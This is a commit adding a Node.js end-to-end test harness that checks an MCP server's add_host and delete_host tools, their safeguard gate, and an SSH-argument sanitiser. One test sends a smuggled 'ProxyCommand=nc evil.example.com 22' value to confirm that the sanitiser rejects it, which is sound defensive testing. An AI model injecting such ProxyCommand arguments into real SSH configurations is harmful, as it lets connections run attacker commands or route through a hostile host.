scripts: pr4-verify.mjs — end-to-end MCP add_host/delete_host harness
Drives the running MCP server through real HTTP transport to verify the PR-4 surface end-to-end: safeguard refusal, extraArgs sanitiser, happy path (with hosts.json side-effect check), delete_host cleanup. Reads bearer token from %APPDATA%\com.megaproxy.tiletopia\mcp.json, snapshots + restores mcp-policy.json so the user's settings survive the run. Run from D:\dev\tiletopia (Windows host, with the dev app + MCP server running): node scripts/pr4-verify.mjs Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
parent
4bf55782da
commit
f3ab54252e
1 changed files with 232 additions and 0 deletions
232
scripts/pr4-verify.mjs
Normal file
232
scripts/pr4-verify.mjs
Normal file
|
|
@ -0,0 +1,232 @@
|
|||
#!/usr/bin/env node
|
||||
// PR-4 end-to-end verifier — drives the MCP server's add_host / delete_host
|
||||
// tools through the real HTTP transport so we exercise: bearer auth,
|
||||
// safeguard gate, sanitiser, dispatcher, frontend handler, hosts.json write.
|
||||
//
|
||||
// Run from D:\dev\tiletopia with:
|
||||
// node scripts/pr4-verify.mjs
|
||||
|
||||
import { readFileSync, writeFileSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
|
||||
const APPDATA = process.env.APPDATA;
|
||||
if (!APPDATA) throw new Error("APPDATA env missing — run from a Windows shell");
|
||||
const CFG_DIR = join(APPDATA, "com.megaproxy.tiletopia");
|
||||
const MCP_CFG = JSON.parse(readFileSync(join(CFG_DIR, "mcp.json"), "utf8"));
|
||||
const POLICY_PATH = join(CFG_DIR, "mcp-policy.json");
|
||||
const HOSTS_PATH = join(CFG_DIR, "hosts.json");
|
||||
|
||||
const URL = `http://127.0.0.1:${MCP_CFG.port}/mcp`;
|
||||
const TOKEN = MCP_CFG.token;
|
||||
|
||||
let sessionId = null;
|
||||
let nextId = 1;
|
||||
|
||||
// Parse a chunk of Server-Sent Events. Returns the *last* "data:" payload
|
||||
// (parsed as JSON) that matches the message id we expect — sufficient for
|
||||
// request/response calls. rmcp's streamable HTTP sends one event per RPC.
|
||||
function parseSse(text, wantId) {
|
||||
const lines = text.split(/\r?\n/);
|
||||
let last = null;
|
||||
for (const line of lines) {
|
||||
if (!line.startsWith("data:")) continue;
|
||||
const payload = line.slice(5).trim();
|
||||
if (!payload) continue;
|
||||
try {
|
||||
const obj = JSON.parse(payload);
|
||||
if (obj.id === wantId) return obj;
|
||||
last = obj;
|
||||
} catch (_) { /* skip */ }
|
||||
}
|
||||
return last;
|
||||
}
|
||||
|
||||
async function rpc(method, params, { notification = false } = {}) {
|
||||
const id = nextId++;
|
||||
const body = notification
|
||||
? { jsonrpc: "2.0", method, params }
|
||||
: { jsonrpc: "2.0", id, method, params };
|
||||
const headers = {
|
||||
"Content-Type": "application/json",
|
||||
"Accept": "application/json, text/event-stream",
|
||||
"Authorization": `Bearer ${TOKEN}`,
|
||||
};
|
||||
if (sessionId) headers["mcp-session-id"] = sessionId;
|
||||
const res = await fetch(URL, {
|
||||
method: "POST",
|
||||
headers,
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
if (notification) return null;
|
||||
if (!res.ok) {
|
||||
const text = await res.text();
|
||||
throw new Error(`HTTP ${res.status} ${res.statusText}: ${text}`);
|
||||
}
|
||||
const sid = res.headers.get("mcp-session-id");
|
||||
if (sid && !sessionId) sessionId = sid;
|
||||
const ct = res.headers.get("content-type") || "";
|
||||
const text = await res.text();
|
||||
if (ct.includes("text/event-stream")) {
|
||||
const parsed = parseSse(text, id);
|
||||
if (!parsed) throw new Error(`no matching SSE response for id=${id}: ${text}`);
|
||||
return parsed;
|
||||
}
|
||||
return JSON.parse(text);
|
||||
}
|
||||
|
||||
function summarise(rpcResult, label) {
|
||||
if (rpcResult.error) {
|
||||
console.log(` ${label}: ERROR -> ${rpcResult.error.message || JSON.stringify(rpcResult.error)}`);
|
||||
return rpcResult.error;
|
||||
}
|
||||
const content = rpcResult.result?.content ?? rpcResult.result;
|
||||
console.log(` ${label}: OK -> ${typeof content === "string" ? content : JSON.stringify(content).slice(0, 200)}`);
|
||||
return rpcResult.result;
|
||||
}
|
||||
|
||||
async function callTool(name, args) {
|
||||
return rpc("tools/call", { name, arguments: args });
|
||||
}
|
||||
|
||||
function readPolicy() {
|
||||
return JSON.parse(readFileSync(POLICY_PATH, "utf8"));
|
||||
}
|
||||
function writePolicy(p) {
|
||||
writeFileSync(POLICY_PATH, JSON.stringify(p, null, 2));
|
||||
}
|
||||
function readHosts() {
|
||||
return JSON.parse(readFileSync(HOSTS_PATH, "utf8"));
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
console.log(`MCP URL: ${URL}`);
|
||||
console.log(`Token: ${TOKEN.slice(0, 12)}…`);
|
||||
|
||||
// Step 0: initialize.
|
||||
const init = await rpc("initialize", {
|
||||
protocolVersion: "2024-11-05",
|
||||
capabilities: {},
|
||||
clientInfo: { name: "pr4-verify", version: "1.0" },
|
||||
});
|
||||
console.log(`session id: ${sessionId}`);
|
||||
console.log(`server: ${init.result.serverInfo.name} ${init.result.serverInfo.version}`);
|
||||
await rpc("notifications/initialized", {}, { notification: true });
|
||||
|
||||
// Step 1: tools/list — verify add_host + delete_host are present.
|
||||
const list = await rpc("tools/list", {});
|
||||
const toolNames = list.result.tools.map((t) => t.name).sort();
|
||||
console.log(`tools: ${toolNames.join(", ")}`);
|
||||
const hasAdd = toolNames.includes("add_host");
|
||||
const hasDel = toolNames.includes("delete_host");
|
||||
if (!hasAdd || !hasDel) throw new Error("add_host or delete_host missing from tool list");
|
||||
|
||||
// Snapshot state for restore at the end.
|
||||
const originalPolicy = readPolicy();
|
||||
const originalHosts = readHosts();
|
||||
console.log(`\nbaseline: ${originalHosts.length} host(s), allowAddHost=${originalPolicy.sshSafeguards?.allowAddHost ?? false}`);
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// TEST 1: Refusal path — safeguard off → "add-host-disabled".
|
||||
// -----------------------------------------------------------------------------
|
||||
console.log("\n[1] add_host with safeguard OFF — expect add-host-disabled");
|
||||
// Make sure safeguard is off + add_host is in allow bucket so we test the
|
||||
// safeguard gate, not the confirm modal.
|
||||
writePolicy({
|
||||
...originalPolicy,
|
||||
permissions: {
|
||||
...originalPolicy.permissions,
|
||||
allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])),
|
||||
},
|
||||
sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowOpenSsh: false, autoAllowSpawnedSsh: false, allowAddHost: false },
|
||||
});
|
||||
const t1 = await callTool("add_host", { hostname: "pr4-test.example.com", label: "PR-4 verify" });
|
||||
summarise(t1, "T1");
|
||||
if (!t1.error || !/add-host-disabled/i.test(t1.error.message || "")) {
|
||||
throw new Error("T1: expected 'add-host-disabled' error, got: " + JSON.stringify(t1));
|
||||
}
|
||||
console.log(" T1 PASS — safeguard correctly refused");
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// TEST 2: Sanitiser — flip safeguard on, send ProxyCommand → reject.
|
||||
// -----------------------------------------------------------------------------
|
||||
console.log("\n[2] add_host with ProxyCommand in extraArgs — expect sanitiser rejection");
|
||||
writePolicy({
|
||||
...originalPolicy,
|
||||
permissions: {
|
||||
...originalPolicy.permissions,
|
||||
allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])),
|
||||
},
|
||||
sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowAddHost: true },
|
||||
});
|
||||
const t2 = await callTool("add_host", {
|
||||
hostname: "pr4-evil.example.com",
|
||||
label: "PR-4 evil",
|
||||
extraArgs: ["-o", "ProxyCommand=nc evil.example.com 22"],
|
||||
});
|
||||
summarise(t2, "T2");
|
||||
if (!t2.error || !/ProxyCommand/i.test(t2.error.message || "")) {
|
||||
throw new Error("T2: expected sanitiser to reject ProxyCommand, got: " + JSON.stringify(t2));
|
||||
}
|
||||
console.log(" T2 PASS — sanitiser correctly rejected ProxyCommand");
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// TEST 3: Happy path — clean args → success + verify hosts.json.
|
||||
// -----------------------------------------------------------------------------
|
||||
console.log("\n[3] add_host with clean args — expect success + hosts.json gets +1");
|
||||
const beforeHosts = readHosts();
|
||||
const t3 = await callTool("add_host", {
|
||||
hostname: "pr4-test.example.com",
|
||||
label: "PR-4 verify",
|
||||
user: "claude",
|
||||
port: 2222,
|
||||
extraArgs: ["-o", "ServerAliveInterval=30"],
|
||||
});
|
||||
summarise(t3, "T3");
|
||||
if (t3.error) throw new Error("T3: expected success, got: " + t3.error.message);
|
||||
|
||||
// Backend wraps the inner result JSON in a content array; parse it out.
|
||||
let newHostId = null;
|
||||
const t3Payload = t3.result.content?.[0]?.text ? JSON.parse(t3.result.content[0].text) : t3.result;
|
||||
newHostId = t3Payload.hostId;
|
||||
console.log(` new hostId: ${newHostId}`);
|
||||
|
||||
// Allow the frontend's setHosts → saveSshHosts to land.
|
||||
await new Promise((r) => setTimeout(r, 400));
|
||||
const afterHosts = readHosts();
|
||||
if (afterHosts.length !== beforeHosts.length + 1) {
|
||||
throw new Error(`T3: hosts.json count went ${beforeHosts.length} → ${afterHosts.length}, expected +1`);
|
||||
}
|
||||
const added = afterHosts.find((h) => h.id === newHostId);
|
||||
if (!added) throw new Error(`T3: hostId ${newHostId} not found in hosts.json`);
|
||||
if (added.hostname !== "pr4-test.example.com") throw new Error("T3: hostname mismatch");
|
||||
if (added.user !== "claude") throw new Error("T3: user mismatch");
|
||||
if (added.port !== 2222) throw new Error("T3: port mismatch");
|
||||
if (!added.extraArgs || added.extraArgs.join(" ") !== "-o ServerAliveInterval=30") {
|
||||
throw new Error("T3: extraArgs not persisted correctly: " + JSON.stringify(added.extraArgs));
|
||||
}
|
||||
console.log(" T3 PASS — host saved with all fields intact");
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// TEST 4: delete_host — verify cleanup.
|
||||
// -----------------------------------------------------------------------------
|
||||
console.log("\n[4] delete_host on the new host — expect hosts.json back to baseline");
|
||||
const t4 = await callTool("delete_host", { host_id: newHostId });
|
||||
summarise(t4, "T4");
|
||||
if (t4.error) throw new Error("T4: expected success, got: " + t4.error.message);
|
||||
await new Promise((r) => setTimeout(r, 400));
|
||||
const finalHosts = readHosts();
|
||||
if (finalHosts.length !== beforeHosts.length) {
|
||||
throw new Error(`T4: hosts.json count went ${afterHosts.length} → ${finalHosts.length}, expected ${beforeHosts.length}`);
|
||||
}
|
||||
if (finalHosts.find((h) => h.id === newHostId)) {
|
||||
throw new Error(`T4: hostId ${newHostId} still in hosts.json`);
|
||||
}
|
||||
console.log(" T4 PASS — host removed");
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Restore original policy.
|
||||
// -----------------------------------------------------------------------------
|
||||
writePolicy(originalPolicy);
|
||||
console.log(`\nrestored: mcp-policy.json (allowAddHost back to ${originalPolicy.sshSafeguards?.allowAddHost ?? false}, allow bucket reverted)`);
|
||||
console.log("\nALL TESTS PASS ✓");
|
||||
Loading…
Add table
Add a link
Reference in a new issue